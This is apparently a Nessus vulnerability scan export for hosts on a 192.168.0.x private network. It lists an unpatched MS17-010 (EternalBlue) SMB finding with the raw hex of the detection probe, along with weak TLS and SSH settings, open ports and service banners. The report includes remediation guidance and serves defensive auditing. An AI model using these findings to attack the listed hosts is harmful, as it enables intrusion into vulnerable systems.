http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		62563						None		192.168.0.26		tcp		443		SSL Compression Methods Supported		The remote service supports one or more compression methods for SSL
connections.		This script detects which compression methods are supported by the
remote service for SSL connections.		n/a		http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml
https://tools.ietf.org/html/rfc3749
https://tools.ietf.org/html/rfc3943
https://tools.ietf.org/html/rfc5246		
Nessus was able to confirm that the following compression method is 
supported by the target :

  DEFLATE (0x01)
										None								10/16/12		6/12/20

		62565		CVE-2012-4929		2.6		Low		192.168.0.26		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		62565		CVE-2012-4930		2.6		Low		192.168.0.26		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		97833		CVE-2017-0145		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		97833		CVE-2017-0146		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		66334						None		192.168.0.26		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Dropbear SSH Server < 2016.72 Multiple Vulnerabilities (93650) ]

+ Action to take : Upgrade to Dropbear SSH version 2016.74 or later.


										None								7/8/13		10/16/20

		69551						Low		192.168.0.26		tcp		443		SSL Certificate Chain Contains RSA Keys Less Than 2048 bits		The X.509 certificate chain used by this service contains certificates
with RSA keys shorter than 2048 bits.		At least one of the X.509 certificates sent by the remote host has a
key that is shorter than 2048 bits. According to industry standards
set by the Certification Authority/Browser (CA/B) Forum, certificates
issued after January 1, 2014 must be at least 2048 bits.

Some browser SSL implementations may reject keys less than 2048 bits
after January 1, 2014. Additionally, some SSL certificate vendors may
revoke certificates less than 2048 bits before January 1, 2014.

Note that Nessus will not flag root certificates with RSA keys less
than 2048 bits if they were issued prior to December 31, 2010, as the
standard considers them exempt.		Replace the certificate in the chain with the RSA key less than 2048
bits in length with a longer key, and reissue any certificates signed
by the old certificate.		https://www.cabforum.org/wp-content/uploads/Baseline_Requirements_V1.pdf		
The following certificates were part of the certificate chain
sent by the remote host, but contain RSA keys that are considered
to be weak :

|-Subject        : C=CN/CN=TP-Link
|-RSA Key Length : 1024 bits
										Low								9/3/13		11/15/18

		70544						None		192.168.0.26		tcp		443		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		70657						None		192.168.0.26		tcp		22		SSH Algorithms and Languages Supported		An SSH server is listening on this port.		This script detects which algorithms and languages are supported by
the remote service for encrypting communications.		n/a				
Nessus negotiated the following encryption algorithm with the server : 

The server supports the following options for kex_algorithms : 

  diffie-hellman-group1-sha1
  diffie-hellman-group14-sha1
  kexguess2@matt.ucc.asn.au

The server supports the following options for server_host_key_algorithms : 

  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for encryption_algorithms_server_to_client : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for mac_algorithms_client_to_server : 

  hmac-md5
  hmac-sha1

The server supports the following options for mac_algorithms_server_to_client : 

  hmac-md5
  hmac-sha1

The server supports the following options for compression_algorithms_client_to_server : 

  none

The server supports the following options for compression_algorithms_server_to_client : 

  none
										None								10/28/13		8/28/17

		70658		CVE-2008-5161		2.6		Low		192.168.0.26		tcp		22		SSH Server CBC Mode Ciphers Enabled		The SSH server is configured to use Cipher Block Chaining.		The SSH server is configured to support Cipher Block Chaining (CBC)
encryption.  This may allow an attacker to recover the plaintext message
from the ciphertext. 

Note that this plugin only checks for the options of the SSH server and
does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable CBC mode
cipher encryption, and enable CTR or GCM cipher mode encryption.				
The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc

The following server-to-client Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc
						1.9				Low		32319		CERT:958563;CWE:200				10/28/13		7/30/18

		71049				2.6		Low		192.168.0.26		tcp		22		SSH Weak MAC Algorithms Enabled		The remote SSH server is configured to allow MD5 and 96-bit MAC
algorithms.		The remote SSH server is configured to allow either MD5 or 96-bit MAC
algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server,
and it does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable MD5 and
96-bit MAC algorithms.				
The following client-to-server Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5

The following server-to-client Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5
										Low								11/22/13		12/14/16

		97833		CVE-2017-0147		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		86420						None		192.168.0.26		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - D8:47:32:3B:B1:7C
										None								10/16/15		5/13/20

		97833		CVE-2017-0148		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		42873		CVE-2016-2183		5		Medium		192.168.0.1		tcp		4567		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		42873		CVE-2016-2183		5		Medium		192.168.0.1		tcp		8890		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		42873		CVE-2016-2183		5		Medium		192.168.0.20		tcp		443		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		42873		CVE-2016-2183		5		Medium		192.168.0.25		tcp		8009		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		110723						None		192.168.0.26		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		n/a				SSH was detected on port 22 but no credentials were provided.
SSH local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.26		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SSH service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		10107						None		192.168.0.27		tcp		80		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Sky										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.27		tcp		5000		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

AirTunes/211.1										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.27		tcp		9006		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Sky										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.27		tcp		9091		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

WebSocket++/0.4.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10287						None		192.168.0.27		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.27 : 
192.168.0.35
192.168.0.27

Hop Count: 1
										None								11/27/99		8/20/20

		10386						None		192.168.0.27		tcp		9080		Web Server No 404 Error Code Check		The remote web server does not return 404 error codes.		The remote web server is configured such that it does not return '404
Not Found' error codes when a nonexistent file is requested, perhaps
returning instead a site map, search page or authentication page.

Nessus has enabled some counter measures for this.  However, they
might be insufficient.  If a great number of security holes are
produced for this port, they might not all be accurate.		n/a				
Unfortunately, Nessus has been unable to find a way to recognize this
page so some CGI-related checks have been disabled.
										None								4/28/00		6/12/20

		10884						None		192.168.0.27		udp		123		Network Time Protocol (NTP) Server Detection		An NTP server is listening on the remote host.		An NTP server is listening on port 123. If not securely configured,
it may provide information about its version, current date, current
time, and possibly system information.		n/a		http://www.ntp.org		
  An NTP service has been discovered, listening on port 123.

  No sensitive information has been disclosed.

  Version : unknown
										None				IAVT:0001-T-0934				3/20/15		9/22/20

		11153						None		192.168.0.27		tcp		4545		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				AIX Global ODM (a component from HACMP) is running on this port.										None								11/18/02		11/26/18

		11153						None		192.168.0.27		tcp		9091		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				A web server seems to be running on this port.										None								11/18/02		11/26/18

		11219						None		192.168.0.27		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		1234		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 1234/tcp was found to be open										None								2/4/09		9/14/20

